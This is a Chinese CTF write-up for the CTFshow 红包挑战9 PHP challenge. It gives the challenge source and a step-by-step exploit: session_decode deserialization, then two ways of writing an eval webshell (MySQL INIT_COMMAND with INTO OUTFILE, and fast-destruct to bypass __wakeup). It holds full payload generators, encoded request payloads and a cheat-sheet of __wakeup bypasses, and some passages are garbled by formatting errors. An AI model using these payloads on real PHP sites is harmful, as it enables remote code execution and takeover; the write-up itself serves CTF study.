CTFshow 限时活动 红包挑战9 详细题解

CTFshow红包挑战9

题目源码开源了。源码如下:

common.php

<?php

class user{
    
    
    public $id;
    public $username;
    private $password;

    public function __toString(){
    
    
        return $this->username;
    }


}

class cookie_helper{
    
    
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name){
    
    
        return $this->verify($_COOKIE[$name]);

    }

    public function setCookie($name,$value){
    
    
        $data = $value."|".md5($this->secret.$value);
        setcookie($name,$data);
    }

    private function verify($cookie){
    
    
        $data = explode('|',$cookie);
        if (count($data) != 2) {
    
    
            return null;
        }
        return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
    }
}


class mysql_helper{
    
    
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct(){
    
    
        $this->init();
    }

    public function __wakeup(){
    
    
        $this->init();
    }


    private function init(){
    
    
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****',//敏感信息打码
            'password' => '****',//敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo(){
    
    
        try{
    
    
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        }catch(PDOException $e){
    
    
            die('数据库连接失败:' . $e->getMessage());
        }
    
        return $pdo;
    }

}

class application{
    
    
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug=false;

    public function __construct(){
    
    
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username,$password){
    
    
        $this->loger->user_register($username,$password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username,$password){
    
    
        $this->loger->user_login($username,$password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username,$password));
        $ret = $stmt->fetch();
        return $ret['password']===$password;

    }
    public function getLoginName($name){
    
    
        $data = $this->cookie->getCookie($name);
        if($data === NULL && isset($_GET['token'])){
    
    
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout(){
    
    
        $this->loger->user_logout();
        setCookie("user",NULL);
    }

    private function log_last_user(){
    
    
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct(){
    
    
       if($this->debug){
    
    
            $this->log_last_user();
       }
    }

}

class userLogger{
    
    

    public $username;
    private $password;
    private $filename;

    public function __construct(){
    
    
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename){
    
    
        $this->filename = $filename;
    }

    public function __wakeup(){
    
    
        $this->filename = "log.txt";
    }
    public function user_register($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_login($username,$password){
    
    
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function user_logout(){
    
    
        $data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename,$data,FILE_APPEND);
    }

    public function __destruct(){
    
    
        $data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename,$data,FILE_APPEND);
        
    }
}
class dispatcher{
    
    

    public function sendMessage($msg){
    
    
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route){
    
    

        switch($route){
    
    
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

index.php

<?php

error_reporting(0);
session_start();
require_once 'common.php';

$action = $_GET['action'];
$app = new application();

if(isset($action)){
    
    

    switch ($action) {
    
    
        case 'do_login':
            $ret = $app->login($_POST['username'],$_POST['password']);
            if($ret){
    
    
                $app->cookie->setcookie("user",$_POST['username']);
                $app->dispatcher->redirect('main');
            }else{
    
    
                echo "登录失败";
            }
            break;
        case 'logout':
            $app->logout();
            $app->dispatcher->redirect('main');
            break;    
        case 'do_register':
            $ret = $app->register($_POST['username'],$_POST['password']);
            if($ret){
    
    
                $app->dispatcher->sendMessage("注册成功,请登陆");
            }else{
    
    
                echo "注册失败";
            }
            break;
        default:
            include './templates/main.php';
            break;
    }
}else{
    
    
    $app->dispatcher->redirect('main');
}

main.php

<?php

$name =  $app->getLoginName('user');

if($name){
    
    
    echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
    
    
    include 'login.html';
}

先把所有代码看一遍。

common.php文件的userLogger类中有写入文件操作,假设我们可以反序列化改变类属性,我们就可以写马到文件getshell,美哉美哉。

image-20230823221524514

这题分为两步,一是反序列化,二是getshell。


一、反序列化

题目应该是开启了PDO扩展(common.php中的mysql_helper类),用来连接数据库。

题目源码有很多类、没有反序列化函数unserialize(),但是开启了session(index.php),同时在application::getLoginName()方法(common.php)中有session操作。这里能进行session反序列化

image-20230823204636856

1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

session_decode() 对参数中的已经序列化的会话数据进行解码,并且使用解码后的数据填充 $_SESSION 超级全局变量。

语句session_decode($_GET['token']);往session里面存放对象
语句$data = $_SESSION['user'];往session里面拿取对象,拿取名字为user的对象。

所以满足session反序列化条件的情况下,我们如果GET提交token参数型如user|恶意序列化字符串,就能反序列化字符串getshell。

反序列化第一步:

首先我们需要调用触发session语句的方法application::getLoginName($name)。此方法只在main.php中被调用,简单看看代码需要我们GET提交的action不等于do_login、logout、do_register就行。

image-20230823213303037

那我们GET传参:

?action=hahaha

反序列化第二步:

然后就是满足$data === NULL。回溯一下,$data = $this->cookie->getCookie($name);。再回溯一下,cookie_helper::getCookie($name)方法返回cookie_helper::verify($_COOKIE[$name])。见下图

image-20230823210241790

传入verify方法的变量$cookie也就是$_COOKIE[$name]被字符|分割,只要分割后数量不等于2,就返回null达到session反序列化的条件。

上述变量$cookie中会存在原封不动的用户名,我们只需要使得用户名要带上一个|,比如Jay|17,那么变量$cookie中就会存在两个|(原本自带一个),经过explode()函数后被分隔成三个,使得返回null,我们能够进行session反序列化。

反序列化第三步:

注册一个账号,用户名为Jay|17,拿到用户cookie。后续操作发包时要带上cookie。然后登录(do_login)。

image-20230823214045348

Cookie:user=Jay%7C17%7Cfbbfa886adac2c1901e6d47c8700a15b

验证session反序列化是否成功:

我们简单构造个序列化字符串,把用户名改成一句话木马看看能否修改成功。

<?php

class userLogger{
    
    
    public $username="<?php eval(\$_POST[1]);?>";
    private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

payload:(记得带上Cookie)

GET:/index.php?action=hahaha&token=user|O%3A10%3A%22userLogger%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A20%3A%22%00userLogger%00password%22%3Bs%3A6%3A%22123456%22%3B%7D

POST:username=Jay%7C17&password=123456

访问日志文件log.txt,记得带上Cookie,发现反序列化成功,用户名成功被我修改了。

image-20230823214905842


二、getshell

方法一:利用**PDO::MYSQL_ATTR_INIT_COMMAND**

PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND

它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。

image-20230823234709117

那我们给这个预定义常量赋值一个恶意SQL语句,就能在连接的时候自动执行这个恶意SQL了。select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

开始实现。

连接数据库就得执行mysql_helper::get_pdo()方法。

image-20230824000018339

由于要反序列化,?action=hahaha,执行mysql_helper::get_pdo()方法必须执行application::log_last_user()方法,那么那么就必须$debug = true;

image-20230824002220879

构造序列化字符串:

<?php
session_start();
class mysql_helper
{
    
    
    public $option = array(
        PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';"
    );
}
class application
{
    
    
    public $mysql;
    public $debug = true;

    public function __construct()
    {
    
    
        $this->mysql = new mysql_helper();
    }
}

$a = new application();
echo urlencode(serialize($a));

O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

payload:(记得带上Cookie)

GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

POST:username=Jay%7C17&password=123456

image-20230824002944605

访问1.php,能看见phpinfo,说明写入成功并且执行了,开始getshell。

image-20230824003022253

image-20230824003057559

方法二:绕过weakup

但是日志文件log.txt就算写入了木马也不解析,我们需要修改写入文件。奈何__wakeup()魔术方法把写入文件的路径限定死了,我们得想办法绕过weakup

image-20230823215151296

这里使用fast-destruct绕过weakup。(本质上是GC回收机制)

思路:

1、fast-destruct先触发application::__destruct(),最终调用到mysql_helper::get_pdo()方法

2、把mysql_helper类的$db属性设置为空,使得mysql_helper::get_pdo()方法连接数据库失败,执行die()函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()写马到文件。

exp:

<?php
class mysql_helper{
    
    
    private $db;
}
class application{
    
    
    public $debug=true;
    public $loger;
    public $mysql;
    public function __construct(){
    
    
        $this->loger = new userLogger();
        $this->mysql = new mysql_helper();
    }
}
class userLogger{
    
    

    public $username='<?php eval($_POST[1]);phpinfo();?>';
    public $password="123456";
    public $filename="2.php";
}
$a = new application();
echo serialize($a);

payload:

GET:/index.php?action=hahaha&token=user|【替换点】

POST:username=Jay%7C17&password=123456

【替换点】 (记得URL编码)(都试过,整合笔记在最后,师傅们现在别忙着记)

//一、去掉一个花括号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"2.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;}

//二、去掉外部类分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"3.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N}}

//三、内外部类加一个分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"4.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;};}

//四、属性键长度不匹配(后面的s:16:改成s:17:)
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"5.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:17:" mysql_helper db";N;}}

image-20230824024601485

image-20230824024715193


结束收工,整理了一份绕过wakeup的思维导图和笔记:

image-20230824024755107

变量引用

这个其实不是语言特性漏洞,而是代码逻辑漏洞。只有在特定代码情况下才会产生

KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲a使两个变量同时指向同一个内存地址

利用:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲jay17->a;
详细参照** NSS [UUCTF 2022 新生赛]ez_unser、私教web57

C绕过

C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。就绕过了wakeup。

O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}

C绕过-进阶 //愚人杯3rd [easy_php]

__unserialize()魔术方法

条件:PHP 7.4.0+

如果类中同时定义了 __unserialize()__wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。

对象的属性数量不一致

CVE-2016-7124

版本:PHP5 < 5.6.25、PHP7 < 7.0.10

绕过方式:
1.当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}中将变量个数2(s:3:“age”;表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种对象,都是成对出现的,几对就有几个变量)修改为3即可
str_replace(‘:1:’, ‘:2:’,$a);

原理:
反序列化后
由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)
----------------------------------------------------------------------
进一步探索,如果换成类包类的情况,就是类属性还是一个类。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//内部类属性数量不一致,只触发外部类的__destruct()
O:1:“A”:2:{s:4:“info”;O:1:“B”:2:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//外部类属性数量不一致,外类__destruct()内类__wakeup()
O:1:“A”:3:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}

原理:
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,所以不触发内部类__wakeup(),只触发外部类的__destruct()。
外部类属性数量不一致,外部类直接被当成垃圾回收,先触发了外部类__destruct(),而内部类正常,就正常触发内部类__wakeup()。

这听起来像fast-destruct,不是像,就是同一个东西,其实本质上都是PHP的GC回收机制罢了。

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

$a = new a();
a r r y = a r r a y ( arry = array( arry=array(a,“1234”);
r e s u l t = s e r i a l i z e ( result = serialize( result=serialize(arry);echo $result.“
”;

//正常payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}
//删除末尾花括号payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}

其余GC回收机制利用

也叫 php issue#9618

版本条件:

  • 7.4.x -7.4.30
  • 8.0.x

----------------------------------------------------------------------
**属性键的长度不匹配:

**
//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:6:“Aend”;s:1:“1”;}
----------------------------------------------------------------------
属性值的长度不匹配:

//正常payload

O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性长度异常payload:
//外类__destruct()内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}

----------------------------------------------------------------------
去掉内部类的分号:
注:

  1. 这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
  2. 外部类去掉分号同理。
  3. 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。

//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N**;**}s:3:“end”;s:1:“1”;}
//去掉了内部类的分号的payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;}

注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。

GC回收机制的总结

本质上,上面这些 对象的属性数量大于真实值、fast-destruct、其余GC回收机制利用 三个板块都是同一个东西同一个原理。

想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法。

在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行

绕过weakup参考文章:

原文

官方wp

CTfshow 卷王杯 easy unserialize(特详)_Jay 17的博客-CSDN博客

PHP的GC垃圾收集机制 - 简书 (jianshu.com)

php反序列化之绕过wakeup – View of Thai

PHP反序列化中wakeup()绕过总结 – fushulingのblog

绕过__wakeup,先执行外面的类&天翼杯的eval那个题的一个思考_Je3Z的博客-CSDN博客

猜你喜欢

转载自blog.csdn.net/Jayjay___/article/details/132463916